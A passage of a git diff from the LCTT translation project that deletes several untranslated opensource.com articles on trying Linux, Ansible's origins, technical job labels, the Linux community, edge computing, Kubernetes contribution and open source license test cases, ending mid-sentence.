retained. I keep a Porteus drive on my keychain, so no matter where I am, I have a bootable Linux image with me. - -![Porteus Live Linux distribution][7] - -The Porteus Live Linux distribution desktop. - -### The best Linux - -Once you've decided to install Linux, you'll find plenty of distributions available for the low cost of $0. If you're used to having only one or two choices in an operating system (for instance, a Home Edition and a Business Edition), then you probably find the idea of several different _distributions_ of Linux confusing. It seems more complicated than it actually is, though. Linux is Linux, and it rarely makes much of a difference whose "flavor" you download and install. The big names, like [Fedora][8], [Debian][9], [Linux Mint][10], and [Elementary][11], all deliver the same experience with a slightly unique emphasis. - - * Fedora is famous for being first to update its software - * Linux Mint provides easy options to install missing drivers - * Debian is well known for its long-term support, so updates are slow, but reliability is high - * Elementary provides a beautiful desktop experience and several special, custom-built applications - - - -Ultimately, the "best" Linux is the Linux that works best for you. I mean that literally: The best Linux for you is the Linux you try and find that all your computer features still work as expected. - -### Getting drivers - -Most drivers are already bundled in the Linux kernel (or as a kernel module). This is especially true when you're dealing with parts and peripherals a year or two old. With equipment that's been on the market for a while, Linux programmers have had the chance to develop drivers or integrate drivers from companies into the system. I've surprised more than just a few people by just attaching a Wacom graphics tablet, or a game controller, or a printer or scanner, to my Linux computer and immediately start using it, with no driver download, no installation, and little to no configuration. - -Proprietary operating systems have two strategies for dealing with device drivers. They either restrict what devices you're supposed to use with the OS, or they pay companies to write and ship drivers along with the devices. The first method is uncomfortably restrictive, but most people are (sadly) acclimated to the idea that some devices only work on some platforms. The latter method is considered a luxury, but in practice, it also has the disadvantage of being dependent upon the driver programmer. There are plenty of computer peripherals in thrift stores in perfect condition but essentially dead because the manufacturer no longer maintains the drivers the devices require to function with modern systems. - -For Linux, drivers are developed either by the manufacturer or by Linux programmers. This can cause some driver integration to be delayed (for instance, a new device might not work on Linux until six months after release), but it has the distinct advantage of long-term support. - -Should you find that there's a driver that hasn't made its way into a distribution yet. You can wait a few months and try again in hopes that a driver has been integrated into the installer image, or you can just try a different distribution to see whether the driver is there. - -### Paying for Linux - -You can avoid all the choices and any concern about compatibility by buying a PC already loaded with Linux or a PC certified for Linux. Several vendors are offering Linux pre-installed, including all [System76][12] computers, and select [Lenovo][13] models. Additionally, all Lenovo models are [Certified for Linux][14] compatibility. - -This is by far the easiest way to try Linux. - -### Working toward Linux - -Here's a challenge for you. Go through each application you have installed, and find a potential open source replacement. Select an application you use frequently, but not daily, and the next time you're about to use it, launch the open source one instead. Take the time you need to learn the new application until you're either able to adopt it as your new default or until you determine that you need to try a different option. - -The more open source products you use, the more you'll be ready to launch into the exciting world of Linux. And eventually, you'll be running the Linux desktop, along with your favorite open source apps. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/try-linux - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_3.png?itok=qw2A18BM (Woman sitting in front of her computer) -[2]: https://opensource.com/article/19/12/linux-commands -[3]: https://opensource.com/article/18/4/10-commands-new-linux-users -[4]: https://opensource.com/article/20/5/linux-desktops -[5]: https://opensource.com/alternatives -[6]: http://porteus.org -[7]: https://opensource.com/sites/default/files/porteus5.png -[8]: http://getfedora.org -[9]: http://debian.org -[10]: http://linuxmint.com -[11]: http://elementary.io -[12]: http://system76.com -[13]: http://lenovo.com -[14]: https://forums.lenovo.com/t5/Linux-Operating-Systems/ct-p/lx_en diff --git a/sources/talk/20210216 How Ansible got started and grew.md b/sources/talk/20210216 How Ansible got started and grew.md deleted file mode 100644 index baa71d6ea1..0000000000 --- a/sources/talk/20210216 How Ansible got started and grew.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How Ansible got started and grew) -[#]: via: (https://opensource.com/article/21/2/ansible-origin-story) -[#]: author: (Ben Rometsch https://opensource.com/users/flagsmith) - -How Ansible got started and grew -====== -Ansible's founder Michael DeHaan shares how his background led him to -develop the IT automation software. -![gears and lightbulb to represent innovation][1] - -Recently, Flagsmith founder Ben Rometsch [spoke to Michael DeHaan][2], founder of open source IT automation software Ansible (now part of IBM/Red Hat), on [The Craft of Open Source podcast][3] about how he developed Ansible and what he's been doing since. - -> "If people aren't successful trying (your app/tool) out in about 30 minutes, they're going to move on. You have to make somebody successful within their lunch hour. I spent a lot of time thinking about the documentation." -> —Michael DeHaan - -His remarks were fascinating and enlightening, especially for anyone interested in open source software as a developer, creator, or community member. Read on for a summary of the conversation. - -### How Michael started in open source - -When Michael joined Red Hat's emerging technologies team in 2005, it was the beginning of his journey with open source projects. The team gave him carte blanche to work on any projects he wanted, as long as they helped customers. - -At the time, Xen and KVM were becoming available, and the team wanted to create a good solution to automate a PXE bare-metal infrastructure. Michael created his first open source project, [Cobbler][4], to automate those installs, and it became fairly widely used. - -Func was Michael's next open source project. It came from filling in the gaps between software that enabled bare-metal provisioning and configuration management tools. Func became fairly well deployed, with Fedora using it in some of its infrastructure. Some of Func's concepts and ideas later influenced Ansible. - -### The birth of Ansible - -Ansible came after Michael spent a short spell working for Puppet. Afterward, he worked for another company that was trying to create an integration, but the job wasn't a good fit, and he wanted to return to working on a project in the open source community. - -Frustrated that it still took several days (or longer) to get a setup working due to [DNS][5] and [NTP][6] problems, Michael decided to create an open source solution to automate installations. The idea was to build something SSH- and push-based, without a load of management agents. - -[Ansible][7] was the result of this design goal. It provided an easy, quick solution, rather than spending hours or days using tools like Chef and Puppet. At the time, companies were employing full-time teams of people to manage cloud installations and configurations. Ansible provided a solution that one person could employ in less than one day. - -### Ansible: The right tool for the right time - -Part of Ansible's success was due to timing, Michael says. There was a demand for greater cloud integration and a quick, convenient way to upload content and install apps on cloud systems. - -It would be difficult for a full-time developer to have the time to create something like Ansible in today's world, as things are much more highly scheduled. He says people expect a complete product, not a work in progress with a supportive user community that has the time to experiment and play with a new coding language. Times have changed. - -Also, Ansible was released in 2012, when the demand for [automation was growing][8] more rapidly than now. While some companies have mastered the art of automation and are focusing more on Kubernetes and other things, others continue to discover it. Most companies do their own programming now, with teams of developers creating fully polished solutions. These days, people are using React and Kubernetes, which build on dependencies, rather than starting from scratch on an open source project. - -With Ansible, most of the open source work was in the libraries and the packaging. Michael remembers that they were learning as they went along, initially unsure of how to run a systems-management project in a way that gets lots of feedback from people and can evolve. Puppet and Chef provided a template for how to accomplish this, mostly through trial and error. Michael set up a large number of IRC channel conversations, which allowed direct communication with various use cases. - -Ansible's documentation was key for developers taking it to the next level. It was simple, to the point, used short and persuasive sentences, and included free trial offers. The documentation made it clear to users that Ansible could be run on their own infrastructure without security concerns. - -### Marketing and promotion - -The buzz around Ansible was generated mainly through blog posts, articles, tutorials, and opinions shared on social media. Occasionally, it would break through onto the pages of Hacker News, or a Reddit thread would become popular.  - -Michael focused on creating shareworthy content that people could link to. He also made sure that he read every comment and tweet to gain as much feedback as possible to take the project in the right direction. - -As momentum grew, Michael hired some employees to help him scale up, but he retained creative control and overall project management. When Michael left the Ansible team in 2015, there were around 400 modules, which made management pretty tricky. - -### Life after Ansible - -Michael now works mainly on Django and Python software development, with some apps and projects on the side, including the [WARP][9] music sequencer. - -To discover more about Ansible and Michael's views on today's open source landscape, burnout, GitHub, Google Reader, and much more, [check out the full podcast][2]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/ansible-origin-story - -作者:[Ben Rometsch][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/flagsmith -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_lightbulb_gears_devops_ansible.png?itok=TSbmp3_M (gears and lightbulb to represent innovation) -[2]: https://www.flagsmith.com/podcast/03-ansible -[3]: https://www.flagsmith.com/podcast -[4]: https://en.wikipedia.org/wiki/Cobbler_(software) -[5]: https://en.wikipedia.org/wiki/Domain_Name_System -[6]: https://en.wikipedia.org/wiki/Network_Time_Protocol -[7]: https://www.ansible.com/ -[8]: https://www.redhat.com/en/blog/new-report-finds-automation-paves-way-business-and-technical-benefits-alike -[9]: https://warpseq.com/ diff --git a/sources/talk/20210219 Why every job in the tech industry is technical.md b/sources/talk/20210219 Why every job in the tech industry is technical.md deleted file mode 100644 index 5ff7f47a7c..0000000000 --- a/sources/talk/20210219 Why every job in the tech industry is technical.md +++ /dev/null @@ -1,69 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why every job in the tech industry is technical) -[#]: via: (https://opensource.com/article/21/2/every-job-technical) -[#]: author: (Lauren Pritchett https://opensource.com/users/lauren-pritchett) - -Why every job in the tech industry is technical -====== -Let's break free from the technical vs. non-technical labels in the tech -industry in order to be successful. -![Puzzle pieces coming together to form a computer screen][1] - -Several years ago, I applied for a marketing job at a tech company. I got called back for the phone screening and had a delightful conversation with the recruiter. The next day, I got an email from the recruiter saying that I was not “technical” enough to move forward to the next round of interviews. I was shocked.  - -I had always been the one my colleagues would call on for technical help and feedback. Understanding and using technology came naturally to me. By that point in my career, I had become even more proficient and technical within my specialty. So how could the recruiter think that I am not “technical”?  - -I wrote a letter to the recruiter explaining why the hiring manager should not dismiss me just yet. Sure, I did not have experience in the tech industry (I had always worked for companies in consumer goods and retail), but isn’t every company a software company these days? I also wanted to alleviate any concerns about my lack of coding abilities. Between managing website migrations, blog redesigns, product merchandising, and fixing that annoying indent on a particularly finicky landing page, I felt that I had that “in the weeds” troubleshooting practice similar to that of a programmer.  - -The letter convinced the hiring manager to bring me in for an interview. I was so happy that they would get the chance to meet me in person.  - -### How to break free from harmful labels - -I recently read Correspondent Dawn Parzych’s series about freeing us from the labels of "technical" and "non-technical" roles in the tech industry. I realized that I had not been alone in feeling undervalued for a non-traditional set of technical skills.  - -In her [first article][2], she tells us why these labels are harmful and she gives three tips for moving away from them: - - * Find alternative words - * Embrace a growth mindset - * Recognize everyone's contributions - - - -Next, Dawn provides [examples of non-engineering jobs][3], including technical writer, product manager, data analyst, and developer relations. There are plenty of other roles that fit this category, like project manager, community manager, product marketer, editor (me!), recruiter, and more. Remember, if you work in the tech industry, you are technical. - -Dawn closes out her series with [four key pieces of advice][4] from industry leaders for those who have been mislabeled as "non-technical":  - - * Be yourself - * Know your worth - * Find where you can add value and help people - * Diversity of thought leads to success - - - -### Moving forward - -Ultimately, that marketing job did not work out, and it is for the best because I may not be where I am today without that experience. I do not regret making a case for a “non-technical” person to get a fair shot at a “technical” job, but it took me a while to gain my confidence back. I hope that others will take the advice and guidance from Dawn’s series to see that they _are_ technical and have valuable skills needed in this industry.  - -There are lots of non-code ways to contribute to open source: Here are three alternatives. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/every-job-technical - -作者:[Lauren Pritchett][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lauren-pritchett -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) -[2]: https://opensource.com/article/21/2/what-technical -[3]: https://opensource.com/article/21/2/non-engineering-jobs-tech -[4]: https://opensource.com/article/21/2/advice-non-technical diff --git a/sources/talk/20210223 What makes the Linux community special.md b/sources/talk/20210223 What makes the Linux community special.md deleted file mode 100644 index 6b860c459c..0000000000 --- a/sources/talk/20210223 What makes the Linux community special.md +++ /dev/null @@ -1,57 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What makes the Linux community special?) -[#]: via: (https://opensource.com/article/21/2/linux-community) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -What makes the Linux community special? -====== -It is the human aspect that makes each open source community unique. -![][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. The community is a cornerstone reason to use Linux. - -Many a Linux user has said that the key feature of Linux is its community. That might seem strange to a new user because "community" is a pretty popular term these days. There are actual jobs for building and [managing communities][2]. With communities seemingly a dime a dozen, what makes the Linux community unique? - -### Attributes don't make a community - -The fact is, nothing's particularly unique about the Linux having a community. It's in our nature as humans to find common threads with one another. There are Android People, and there are iPhone People, Windows People and Mac People, Software People and Illegally-downloaded-software People, and so on. You find support forums for devices and software and people who use creative apps and people who use business apps and people who use financial apps. We tag people with attributes, and then we form groups accordingly. - -When you download and try Linux, you're inherently added to the group of people who have downloaded and tried Linux. - -The question is, what communities form within this big group of people? - -### Humans make community - -A community is more than just a group of people. Communities share knowledge, experience, and most importantly, they share a connection. While it's easy to identify a similarity between two people who happen to use the same operating system or application, it's not as easy to find a connection. Sometimes, something special emerges from an interaction. Maybe you're struggling to understand how some software works, or you can't understand why an action on Linux differs from what it was like on your former OS, or you're not sure which desktop you want to install or which text editor to use. When you and someone else work through a problem and succeed, there's a moment of mutual appreciation and understanding. - -Similarly, when you're using software that a community member has uploaded (like Linux itself), you're entering into someone else's world. You may not feel like it's a big deal to download and use an application, but if nobody downloaded and used that application, whatever it might be, then it probably wouldn't last long. These small, almost negligible actions that seem to "just happen" online every day are exactly why we call a group of people a _community_ and not just a herd of humans. - -### Finding the right community - -Nobody fits in with every community within the larger Linux community. Like any social group, each community has its own expectations and culture. You may have a compulsion, as a human, to join a community, but you also have the right as a human to be selective about which one you adopt as your own. - -If a community isn't empowering and encouraging you to achieve your own goals, technological or otherwise, then there's nothing wrong with leaving it behind to find another. Thanks to the still growing diversity of Linux users, there's plenty of space for everyone, and new communities are forming all the time. - -### Communities build software - -No matter what you do in the community, there's participation happening. The fact that people are getting use out of what their community builds is exactly what drives the community to create more. It's a human _perpetual motion_ machine, and the energy it generates powers some of the best technology available. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-community - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/penguin-linux-watercolor-family.png?itok=Ik3tmGc6 -[2]: https://opensource.com/article/20/9/open-source-community-managers diff --git a/sources/talk/20210224 Why Linux is critical to edge computing.md b/sources/talk/20210224 Why Linux is critical to edge computing.md deleted file mode 100644 index 40dd0782a0..0000000000 --- a/sources/talk/20210224 Why Linux is critical to edge computing.md +++ /dev/null @@ -1,58 +0,0 @@ -[#]: subject: (Why Linux is critical to edge computing) -[#]: via: (https://opensource.com/article/21/2/linux-edge-computing) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Why Linux is critical to edge computing -====== -Get the edge on Linux so you can get Linux on the edge. -![People work on a computer server with devices][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. Linux is the ideal operating system for experimenting with edge computing.  - -[Edge computing][2] is a model of infrastructure design that places many "compute nodes" (a fancy word for a _server_) geographically closer to people who use them most frequently. It can be part of the open hybrid-cloud model, in which a centralized data center exists to do all the heavy lifting but is bolstered by smaller regional servers to perform high frequency—but usually less demanding—tasks. Because Linux is so important to cloud computing, it's an ideal technology to learn if you intend to manage or maintain modern IT systems. - -Historically, a computer was a room-sized device hidden away in the bowels of a university or corporate head office. Client terminals in labs would connect to the computer and make requests for processing. It was a centralized system with access points scattered around the premises. As modern networked computing has evolved, this model has been mirrored unexpectedly. There are centralized data centers to provide serious processing power, with client computers scattered around so that users can connect. However, the centralized model makes less and less sense as demands for processing power and speed are ramping up, so the data centers are being augmented with distributed servers placed on the "edge" of the network, closer to the users who need them. - -The "edge" of a network is partly an imaginary place because network boundaries don't exactly map to physical space. However, servers can be strategically placed within the topography of a network to reduce the latency of connecting with them and serve as a buffer to help mitigate overloading a data center. - -### Diversity on the edge - -This strategy is known as **edge computing**, and it's a vital part of a highly available cloud infrastructure. And as much as Linux thrives in data centers, it's even more welcome out on the edge, where servers and devices run locally relevant software on every variety of architecture. This is the space of the Internet of Things (IoT) and embedded systems. If you know Linux, you're probably ready to maintain most of these devices. - -### Edge detection - -When you hear about edge computing, you're hearing about a model of network and infrastructure design. There isn't just one edge, and that's the advantage. For it to be helpful, there need to be different edges for different industries, locations, and requirements. The edge of a public access network should be different than the edge of a major finance company, which should be different than your home automation system. - -### Containers on the edge - -While it's not exclusive to Linux, [container technology][3] is an important part of cloud and edge computing. Getting to know Linux and [Linux containers][4] helps you learn to install, modify, and maintain "serverless" applications. As processing demands increase, it's more important to understand containers, [Kubernetes][5] and [KubeEdge][6], pods, and other tools that are key to load balancing and reliability. - -### Get the Linux edge - -The cloud is largely a Linux platform. While there are great layers of abstraction, such as Kubernetes and OpenShift, when you need to understand the underlying technology, you benefit from a healthy dose of Linux knowledge. The best way to learn it is to use it, and [Linux is remarkably easy to try][7]. Get the edge on Linux so you can get Linux on the edge. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-edge-computing - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_linux11x_cc.png?itok=XMDOouJR (People work on a computer server with devices) -[2]: https://www.redhat.com/en/topics/edge-computing -[3]: https://opensource.com/resources/what-are-linux-containers -[4]: https://opensource.com/article/18/11/behind-scenes-linux-containers -[5]: https://enterprisersproject.com/article/2017/10/how-explain-kubernetes-plain-english -[6]: https://opensource.com/article/21/1/kubeedge -[7]: https://opensource.com/article/21/2/try-linux diff --git a/sources/talk/20210226 How I became a Kubernetes maintainer in 4 hours a week.md b/sources/talk/20210226 How I became a Kubernetes maintainer in 4 hours a week.md deleted file mode 100644 index 5367968d8c..0000000000 --- a/sources/talk/20210226 How I became a Kubernetes maintainer in 4 hours a week.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: subject: (How I became a Kubernetes maintainer in 4 hours a week) -[#]: via: (https://opensource.com/article/21/2/kubernetes-maintainer) -[#]: author: (Matthew Broberg https://opensource.com/users/mbbroberg) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How I became a Kubernetes maintainer in 4 hours a week -====== -If you have a small amount of time, you can make a big difference in -open source. -![Person drinking a hot drink at the computer][1] - -_"I want to contribute to Kubernetes, but I don't know where to start."_ - -I have heard (and even said) versions of this sentiment many times since [Kubernetes][2] started gaining influence. So, over the last year, I've spent time contributing to the project, and I've found it worth every minute. - -I've discovered that Kubernetes is a project with the right scale for anyone to make an impact in whatever time they have available in their schedule. For me, that was just four hours a week. No more, no less. - -After six months at four hours a week, I found myself the leader of a subgroup that's making a significant difference around non-code contributions to the project. - -I'll share some of what I've learned about contributing to Kubernetes. I hope it helps you find the focus and time to join in. - -### Where to start - -The Kubernetes community personifies the principle of showing up. I "lurked" on the community channels for a while but did not spend much time talking in them. As soon as I started to join in and (eventually) speak up, I experienced an immediate change in my sense of community. - -Join in where, you ask? Here are the key channels to keep an eye on: ** ** - - * The [Kubernetes developer mailing list][3] (k/dev for short) is the official channel for news from all Kubernetes contributors. - * The [Kubernetes Slack channel][4], where over 100,000 registered members discuss the project in hundreds of channels. - * Weekly [special interest group][5] (SIG) meetings where work gets done collaboratively via videoconference. - * The [Kubernetes Community GitHub][6] repository, which is the central repository for community activity in the project. - - - -The channels combine synchronous communication (real-time, quick feedback) with asynchronous (eventual, thoughtful feedback). More than any other project I have contributed to, Kubernetes has a subtle bias toward synchronous communication. Being in a meeting or part of a Slack discussion is a valued way to be part of the action. The more you are active in real time, the more influence you can have in the long run. Or so it seems. - -Despite the value of sync, don't discount the asynchronous work done in Kubernetes land. All significant activity, and a backlog of thoughtful ideas that need someone to work on, are tracked through GitHub issues. The mailing list is also increasingly active and a great place to show up to connect. - -Regardless of the channel, the conclusion is the same: You have to show up. - -### How I commit the time - -Many people work on Kubernetes full time. I am not one of them, and if you are reading this article, I assume you aren't one of them, either. So, when you have a 40-hour-a-week job, how do you carve out four precious hours in your day to contribute to an open source project? - -In my case, it began by understanding what my business values. I have the good fortune to work for an organization that defines itself through open source contributions. That's a good start. My organization also values open source experience in general and, more specifically, Kubernetes knowledge. So, as someone whose value to the organization can be measured in understanding Kubernetes, it's fair to assume I need to spend time with the project. - -With the business proposition clear to me, my next step was to start. I didn't begin with an email request or a proposal to do this as part of my job. It's _my_ job to manage my skill development, and I decided to maximize that through (time-limited) open source contributions. At the equivalent of a half-day of work per week, I'm trusted to budget my time. The caveat is I have to stop contributing if it (a) begins to impede my day job or (b) does not result in any meaningful value to my day job. - -After about a month of contributing, I shared some of my new Kubernetes knowledge (which I acquired by showing up regularly) with my team, my manager, and my manager's manager. They were all excited about what I was sharing. So, I proposed the idea of continuing, and they overwhelmingly agreed it was a good idea. - -Eight months later, I'm still contributing, and it's still adding value. - -### What do four hours of contribution look like? - -Here is my checklist for a sustainable contribution strategy in the Kubernetes community: - - * Join your SIG meeting once a week (1 hour) - * Skim the k-dev mailing list twice a week for 15 minutes (30 min.) - * Socialize on Slack or Twitter once a week (30 min.) - * Most weeks, block two more one-hour slots to complete your action items (1 to 2 hours). - * Once a month, take one of those hours and join the monthly community call (0-1 hour). - - - -My first three months were all about getting oriented, and they paid off. At the start, plan to spend a good bit of time soaking up the context. If no SIG immediately grabs your attention, start with [Contributor Experience][7]. This group exists to help guide and support all contributors. - -Sticking to this time commitment, in six months, I went from sitting in on the Contributor Experience SIG to leading its Upstream Marketing subgroup. In my case, the timing was right, and the role was appropriate to my skills, but it goes to show that sustained contribution can quickly pay off. - -### Contributing across time zones - -The synchronous activities—meetings and Slack messages—do have a bias toward the US Pacific Time Zone. There is no sugar-coating that part. Every Friday at our subgroup call, a handful of regulars sign in after 8pm or 10pm in Europe and Asia. It's not ideal timing for some. - -But while these synchronous calls are helpful for getting to know the group, contributors can quickly switch to asynchronous options and still significantly impact the project. GitHub, email, and even async Slack are 90% of where work gets done. For some SIGs, it's closer to 100%. Be upfront with other SIG members, and I am confident they will help you get meaningful work done asynchronously. - -### Bring your unique contribution - -Here's my big takeaway from this: Large projects thrive through sustained contribution. Making small contributions over an extended period is more valuable than a big fly-by-night pull request. - -I go through these painstaking details of how I manage my time to highlight an opportunity I believe many of us may not realize we have. Often, we have more say than we think about how we spend some of our work weeks. And I hope you can carve off some of it for open source. You will offer a unique experience that can make a difference. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/kubernetes-maintainer - -作者:[Matthew Broberg][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mbbroberg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) -[2]: https://opensource.com/resources/what-is-kubernetes -[3]: https://groups.google.com/g/kubernetes-dev -[4]: https://slack.k8s.io/ -[5]: https://github.com/kubernetes/community/blob/master/sig-list.md -[6]: https://github.com/kubernetes/community -[7]: https://github.com/kubernetes/community/blob/master/sig-contributor-experience/README.md diff --git a/sources/talk/20210311 Test cases and open source license enforcement.md b/sources/talk/20210311 Test cases and open source license enforcement.md deleted file mode 100644 index df17ad0819..0000000000 --- a/sources/talk/20210311 Test cases and open source license enforcement.md +++ /dev/null @@ -1,63 +0,0 @@ -[#]: subject: (Test cases and open source license enforcement) -[#]: via: (https://opensource.com/article/21/3/test-cases-open-source-licenses) -[#]: author: (Richard Fontana https://opensource.com/users/fontana) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Test cases and open source license enforcement -====== -If you're trying to enforce open source licenses, test case litigation -is not the right way to do it. -![A gavel.][1] - -A test case is a lawsuit brought primarily to achieve a policy outcome by securing a judicial ruling that reverses settled law or clarifies some disputed legal question. Bringing a test case typically involves carefully planning out where, when, and whom to sue and which legal arguments to advance in order to maximize the chances of winning the desired result. In the United States, we often see test case strategies used by public interest organizations to effect legal change that cannot practically be attained through other governmental means. - -But a test case strategy can be used by either side of a policy dispute. Even if a test case is successful, the real policy goal may continue to be elusive, given the limitations of case-specific court judgments, which may be met with administrative obstruction or legislative nullification. Test case litigation can also fail, sometimes disastrously—in the worst case, from the test litigant's perspective, the court might issue a ruling that is the direct opposite of what was sought, as happened in [_Plessy v. Ferguson_][2]. - -It may be hard to imagine a test case centered around interpretation of a software license. While licenses are necessarily based on underlying legal rules, typical software licenses are private transactions with terms that are negotiated by the parties or are form agreements unique to the licensor. Normally, a dispute over interpretation of some term in a software license would not be expected to implicate the sort of broadly applicable policy issues that are the usual focus of test case litigation. - -But open source is quite different in this respect. Most open source software is governed by a small set of de facto standard licenses, used without modification or customization across a wide range of projects. Relatedly, open source licenses have an importance to project communities that extends beyond mere licensing terms. They are "[constitutions of communities][3]," an expression of the collaborative and ethical norms of those communities. For these reasons, [open source licenses function as shared resources][4]. This characteristic makes a license-enforcement test case conceivable. - -Whether there actually has ever been an open source license test case is unclear. Litigation over open source licenses has been quite uncommon (though it may be [increasing][5]). Most open source license compliance matters are resolved through voluntary efforts by the licensee, or through community discussion or amicable negotiation with licensors, without resort to the courts. Open source license-enforcement litigation has mostly involved the GPL or another copyleft license in the GNU license family. The fairly small number of litigated GPL enforcement cases brought by community-oriented organizations—Harald Welte's [GPL-violations.org][6] cases, the [Free Software Foundation's suit against Cisco][7], the [BusyBox cases][8]—largely involved factually straightforward "no source or offer" violations. The [copyright profiteering lawsuits][9] brought by Patrick McHardy are clearly not calculated to lead to judicial rulings on questions of GPL interpretation. - -One notable GPL enforcement suit that arguably has some of the characteristics of a test case is Christoph Hellwig's [now-concluded case against VMware in Germany][10], which was funded by the Software Freedom Conservancy. The Hellwig case was apparently the first GPL enforcement lawsuit to raise as a central issue the scope of derivative works under GPLv2, a core copyleft and GPL interpretation policy issue and a policy topic that has been debated in technical and legal communities for decades. Hellwig and Conservancy may have hoped that a victory on the merits would have a far-reaching regulatory impact on activities long-criticized by many GPL supporters, particularly the practice of distributing proprietary Linux kernel modules using GPL-licensed "shim" layers. Then again, Conservancy itself was careful to downplay the notion that the Hellwig case was intended as "[the great test case of combined/derivative works.][11]" And the facts in the Hellwig case, involving a proprietary VMware kernel and GPL-licensed kernel modules, were fairly unusual in comparison to typical GPL-compliance scenarios involving Linux. - -Some developers and lawyers may be predisposed to view open source test cases positively. But this ignores the downsides of test case litigation in the open source context, which are a direct consequence of open source licenses being shared resources. Litigation, whether based on test cases or otherwise, is a poor means of pursuing open source license compliance. You might assume that if open source licenses are shared resources, litigation resulting in judicial rulings would be beneficial by providing increased legal certainty over the limited set of licenses in wide use. But this rests on an unrealistically rosy view of litigation and its impact. Given that open source licenses are, for the most part, a small set of widely reused license texts, actions taken by a few individuals can adversely affect an entire community sharing the same license. - -A court decision by a judge in a dispute between two parties arising out of a unique set of facts is one means by which that impact can occur. The judge, in all likelihood, will not be well informed about open source or technology in general. The judge's rulings will be shaped by the arguments of lawyers for the parties who have incentives to advance legal arguments that may be in conflict with the values and norms of communities relying on the license at issue. The litigants themselves, including the litigant seeking to enforce the license, may not share those values and norms. The capacity of the court to look beyond the arguments presented by the litigants is very limited, and authentic representatives of the project communities using the license will have no meaningful opportunity to give their perspective. - -If, as is therefore likely, license-enforcement litigation produces a bad decision with a large community impact, the license-using community may then be stuck with that decision with few good options to remedy the situation. In many cases, there will be no easy path for a project to migrate to a different license, including a new version of the litigated license that attempts to correct against the court decision. There may be no license steward, or the license may not facilitate downstream upgradeability. Even if there is a license steward, there is generally strong social pressure in free and open source software (FOSS) to avoid license revision. - -Test case litigation would not be immune to these kinds of problems; their drawbacks are amplified in the open source setting. For one thing, a test case might be brought by supporters of a license interpretation that is disfavored in the relevant license-using community—let's call this a "bad" test case litigant. Even if we suppose that the test case litigant's policy objectives reflect a real consensus in the license-using community—a "good" test case litigant—the test case strategy could backfire. The case might result in a ruling that is the opposite of what the test case litigant sought. Or the test case litigant might win on the facts, but in the process, the court might issue one or more rulings framed differently from what the test case litigant hoped for, perhaps having unexpected negative consequences for license interpretation or imposing undesirable new burdens on license compliance. The court might also dispose of the case in some procedural manner that could have a negative impact on the license-using community. - -A more fundamental problem is that we really cannot know whether a given test case litigant is 